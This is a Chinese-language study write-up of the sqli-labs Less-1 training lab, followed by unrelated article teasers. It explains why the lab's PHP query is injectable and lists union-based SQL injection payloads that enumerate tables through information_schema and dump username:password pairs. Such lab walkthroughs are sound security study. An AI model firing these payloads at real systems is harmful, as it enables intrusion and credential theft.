MySQL注入-SQLi-Less1笔记

news2024/12/23 20:42:09

 前置知识点:

1. SELECT 1,2,3 用于查询数据通道的方式

例如Less-1中,Secury数据库中的users表结构如下,可以看到有散列,当用户在页面输入id的时候,会查询到对应的散列数据也就是<id>/<username>/<password>,而php并不会将所有的数据返回给web,就说明<数据通道>的概念,数据必须通过<username>/<password>这个数据位置,才能够返回到我们的web页面。

+----+----------+------------+
| id | username | password   |
+----+----------+------------+
|  1 | Dumb     | Dumb       |
|  2 | Angelina | I-kill-you |
|  3 | Dummy    | p@ssword   |
|  4 | secure   | crappy     |
|  5 | stupid   | stupidity  |
|  6 | superman | genious    |
|  7 | batman   | mob!le     |
|  8 | admin    | admin      |
|  9 | admin1   | admin1     |
| 10 | admin2   | admin2     |
| 11 | admin3   | admin3     |
| 12 | dhakkan  | dumbo      |
| 14 | admin4   | admin4     |
+----+----------+------------+

在测试中可以看到,虽然url中输入了select 1,2,3,但也只有2,3出现在了页面上,也就说明只有2,3的数据通道是可以正确地向web回显数据。


2. ' 单引号的利用

在网页后端的php代码中可以看到(下图),$_GET拿到URL传过来的id值,那么此时的id值为0'(因为URL中将0'作为id的值传递),而在后续的SQL语句拼接过程中,会拼接为:

SELECT * FROM users WHERE id='0'' LIMIT 0,1

而这条语句明显错误无法执行,故而报错。这个方式想要证明的就是”php脚本没有检查$id的值是否正确就传递给SQL运行”,满足这一条件,即可开始尝试SQL注入。

所以其实无论用0'也好,and 1=2,?id=-1也好,其最终目的都是为了让PHP脚本在拼接SQL语句时形成错误,提交给SQL执行并返回报错。

if(isset($_GET['id']))
{
$id=$_GET['id'];

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

3. # 井号的利用(注释后续代码)

通过对比就能看懂,#的URL编码为%23,先演示如果不加%23,会变成什么样

http://127.0.0.1/sqli-labs-master/Less-1/?id=0' union select 1,2,3

if(isset($_GET['id']))
//此处的$_GET值为 0' union select 1,2,3
{
$id=$_GET['id'];
//此处的$id值为 0' union select 1,2,3
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
//此处的$sql值为 SELECT * FROM users WHERE id='0' union select 1,2,3' LIMIT 0,1

可以很清楚的看到上图最后一行的语法 id = '0'可以被执行,但是union语句后面的select 1,2,3' LIMIT 0,1就无法被执行了,只因为多了一个单引号。而加上%23后,语句会变成:

http://127.0.0.1/sqli-labs-master/Less-1/?id=0' union select 1,2,3%23

if(isset($_GET['id']))
//此处的$_GET值为 0' union select 1,2,3#
{
$id=$_GET['id'];
//此处的$id值为 0' union select 1,2,3#
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
//此处的$sql值为 SELECT * FROM users WHERE id='0' union select 1,2,3#' LIMIT 0,1

上述语句就变成了union select 1,2,3# LIMIT 0,1,而#的作用就是将后续的   ' LIMIT 0,1注释掉了,这样语句就可以正常执行了。


4.在MySQL5.0以上的版本中,会自带一个数据库<information_schema>该库记录了整个MySQL数据库中所有的数据库名、表名、列名,所以5.0以上的MySQL数据库只要存在SQL注入,就可以通过<information_schema>数据库获得想要的信息。


5.MySQL本身自带函数,可以通过执行这些函数来获取一些数据库本身的信息

SELECT DATABASE();/SELECT SCHEMA();
查看当前正在使用的数据库

SELECT VERSION();
查看数据库版本

SELECT USER();
查看当前用户

SELECT @@version_compile_os;
查看当前操作系统版本

 正文开始

结尾处给一个0'的参数

?id=0'
//0'的用法在本文开头详细阐述

尝试union联合注入,并且select 1,2,3测试数据通道

?id=0' union select 1,2,3%23
//select 1,2,3 与%23的用法,都在本文开头有详细阐述

看一下调用的数据库名和登录用户

?id=0' union select 1,database(),user()%23

找到库名了,通过<information_schema.tables>查表

?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23

//group_concat()函数用于拼接查询的结果,本来要输出很多行,用了这个函数就能输出到一行里,否则没法显示出全部的结果

//table_names是<information_schame>中<tables>表的一个列(内容为所有数据库的表名称),所以不加where的话就会有太多数据,这里加where筛选一下

//table_schema是表与之关联的数据库,所以where table_schema=database()的意思就是之查询当前数据库关联的表

所以直接写的话写成SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='SECURITY';返回的结果:

+------------+
| TABLE_NAME |
+------------+
| emails     |
| referers   |
| uagents    |
| users      |
+------------+
使用GROUP_CONCAT()函数SELECT group_concat(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='SECURITY';效果是:
+-------------------------------+
| group_concat(TABLE_NAME)      |
+-------------------------------+
| emails,referers,uagents,users |
+-------------------------------+

 拿到表名,同样方法找列名

?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'%23

//和拿表名是同样的方式,只不过是变一些变量而已,不详细阐述了

拿到列名,开始找值

?id=0' union select 1,2,group_concat(username,0x3a,password) from users%23
//因为php脚本就是在users表中拿取数据的,所以不需要指定路径
//其中0x3a为16进制的58,而ASCII表中58代表 : (冒号),所以添加它仅仅是为了在MySQL输出是可以输出为 <用户名 : 密码>的格式,不加也是可以读取到的,只不过无法分清用户名和密码

URL中添加了0x3a的输出结果👇

URL中没有添加0x3a的输出结果👇

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/721906.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

复健练习1—取模与快速幂

复建练习1—取模与快速幂 A&#xff0c;poj3070 没啥可说的&#xff0c;就是裸的矩阵快速幂 #include <algorithm> #include <iostream> #include <cstring> #include <cmath> #include <iomanip>using namespace std; typedef long long ll;…

微服务: 03-rabbitmq在springboot中如何使用(下篇)

目录 前言: 上文传送 4.六大模式实际操作(续) 4.4 路由模式: ---> 4.4.1 消费者配置类 ---> 4.4.2 消费者代码 --->4.4.3 生产者代码 4.5 主题模式: (路由升级版) ---> 4.5.1 消费者配置类 ---> 4.5.2 消费者代码 ---> 4.5.3 生产者代码 ---&g…

【大语言模型】15分钟快速掌握LangChain以及ChatGLM

10分钟快速掌握LangChain LangChain简介LangChain中的核心概念1. Components and Chains2. Prompt Templates and Values3. Example Selectors4. Output Parsers5. Indexes and Retrievers6. Chat Message History7. Agents and Tookits LangChain的代码结构1. LangChain中提供…

Ubuntu学习笔记(一)——目录与路径

文章目录 前言一、相对路径与绝对路径1.绝对路径&#xff08;absolute&#xff09;2.相对路径&#xff08;relative&#xff09; 二、目录相关操作命令1.cd(change directory, 切换目录)2.pwd(print working directory, 显示目前所在的目录)3.mkdir(make directory, 建立新目录…

Versioning data and models for rapid experimentation in machine learning

翻译博客&#xff1a;https://medium.com/pytorch/how-to-iterate-faster-in-machine-learning-by-versioning-data-and-models-featuring-detectron2-4fd2f9338df5 在本文中&#xff0c;您将学习如何创建和使用版本化的数据集作为可重现的机器学习流程的一部分。为了说明这一…

自定义MVC工作原理

目录 一、MVC二、MVC的演变2.1 极易MVCController层——Servletview层——JSP缺点&#xff1a;Servlet过多、代码冗余 2.2 简易MVCController层——Servletview层——JSP缺点&#xff1a;在Servlet中if语句冗余 2.3普易MVCController层——Servletview层——JSP缺点&#xff1a…

OBS播放NDI源

下载OBS Studio的NDI运行时和插件 https://github.com/obs-ndi/obs-ndi/releases 下载文章中的下面这两个文件,并直接双击安装。 或者从百度云下载也行: 链接:https://pan.baidu.com/s/1vNn1yMdCy6BZkKxKCq-kDw 提取码:cxxg 安装完成之后,打开OBS Studio 点击加号添…

RabbitMQ系列(11)--RabbitMQ交换机(Exchange)简介

1、交换机概念 生产者生产的消息从不会直接发送到队列&#xff0c;生产者只能把消息发送到交换机&#xff08;Exchange&#xff09;&#xff0c;交换机接收来着生产者的消息&#xff0c;另一方面把消息推入队列&#xff0c;交换机必须知道如何处理收到的消息&#xff0c;是应该…

【设计模式】第十五章:责任链模式详解及应用案例

系列文章 【设计模式】七大设计原则 【设计模式】第一章&#xff1a;单例模式 【设计模式】第二章&#xff1a;工厂模式 【设计模式】第三章&#xff1a;建造者模式 【设计模式】第四章&#xff1a;原型模式 【设计模式】第五章&#xff1a;适配器模式 【设计模式】第六章&…

银河麒麟服务器v10 sp1 nginx开机自动启动

接上一篇&#xff1a;银河麒麟服务器v10 sp1 安装 nginx_csdn_aspnet的博客-CSDN博客 设置开机自启动 定义服务启动文件内容&#xff1a; [Unit] Descriptionnginx - high performance web server Afternetwork.target remote-fs.target nss-lookup.target [Service] Ty…

menuconfig selected by 怎么处理

比方说我想取消掉flex&#xff0c;但是被强制生成了&#xff1a; 输入搜索命令查了一下&#xff1a; 搜一下selected by [y] 中的 linux_pam: 取消掉 这样就不用编flex了。

【HarmonyOS】元服务启动命令漫谈

在日常开发中&#xff0c;我们可以通过DevEco Studio&#xff0c;直接Run我们的元服务工程&#xff0c;在测试机上拉起我们开发的元服务页面。但是我们自己打包HarmonyOS元服务hap在手机上安装后是没有桌面图标的。虽然我们可以在设置的服务管理中找到我们安装的元服务&#xf…

Go语言操作MySql数据库

go-sql-driver/mysql库是Go语言官方推荐的MySQL驱动库&#xff0c;可以很方便地实现对MySQL数据库的连接和操作。本文记录以下使用go-sql-driver/mysql数据库驱动来操作mysql数据库。 目录 1.安装驱动程序 2.导入驱动包 3.操作数据库 3.1 获取mysql版本 3.2 创建表 3.3 …

详解JAVA Socket

目录 1.概述 2.使用 3.使用场景 3.1.web server中的网络通信 3.2.长连接 3.3.性能问题 1.概述 什么是网络通信&#xff1a; 就像打电话一样&#xff0c;两点间要通信&#xff0c;两点间就必须有连接&#xff0c;为了实现任意两个节点之间的通信&#xff0c;我们就必须采…

用户与组管理介绍

文章目录 一、服务器系统版本介绍二、用户管理1. 用户概述2. 内置账户3. 配置文件4. 用户管理命令 三、组管理1. 组概述2. 内置组&#xff08;系统自带的组&#xff09;3. 组管理命令 一、服务器系统版本介绍 Windows服务器系统&#xff1a;win2000、win2003、win2008、win2012…

Spring 与 Servlet-2

学习笔记&#xff08;加油呀&#xff09;&#xff1a; Spring的通知类型 Spring 通知类型按切面功能调用的不同时刻&#xff0c;可以分为提供了 5 种 Advice 类型 1、前置通知 Before advice&#xff1a;在某连接点之前执行的通知&#xff0c;但这个通知不能阻止连接点之前的…

SAP ABAP ALV FIELDCAT 字段设置详细说明

一、SAP ABAP ALV FIELDCAT 字段设置的位置&#xff1a; 二、SAP ABAP ALV FIELDCAT 字段设置的详细说明&#xff1a; 字段属性描述使用目的CFIELDNAME参照Currency单位的字段名根据单位显示相应值CHECKBOX设置成复选框字段输出选项COL POS字段的输出顺序字段输出选项COLDDICT…

Android Studio实现内容丰富的安卓视频管理平台

如需源码可以添加q-------3290510686&#xff0c;也有演示视频演示具体功能&#xff0c;源码不免费&#xff0c;尊重创作&#xff0c;尊重劳动。 项目编号081 1.开发环境 android stuido 2.功能介绍 安卓端&#xff1a; 1.注册登录 2.本地视频 3.视频播放 4.收藏功能 5.网路视频…

R语言绘图丨论文中最常用箱线图绘制教程,自动进行显著性检验和误差线标注

多组比较式箱线图 在科研论文绘图中&#xff0c;对于多组数据进行比较一般采用箱线图的方法&#xff0c;今天分享一下这个经典数据可视化方法&#xff0c;从零开始绘制一张带误差棒并自动计算显著性比较结果的箱线图。 前言&#xff1a;箱线图有什么优势&#xff1f; 数据分布…

【AcWing算法基础课】第三章 搜索与图论

文章目录 前言课前温习一、深度优先搜索&#xff08;DFS&#xff09;1、排列数字1.1题目描述1.2思路分析1.3代码实现 2、 n-皇后问题1.4题目描述1.5思路分析1.6代码实现 二、宽度优先搜索&#xff08;BFS&#xff09;1、走迷宫2.1题目描述2.2思路分析2.3代码实现 三、树与图的存…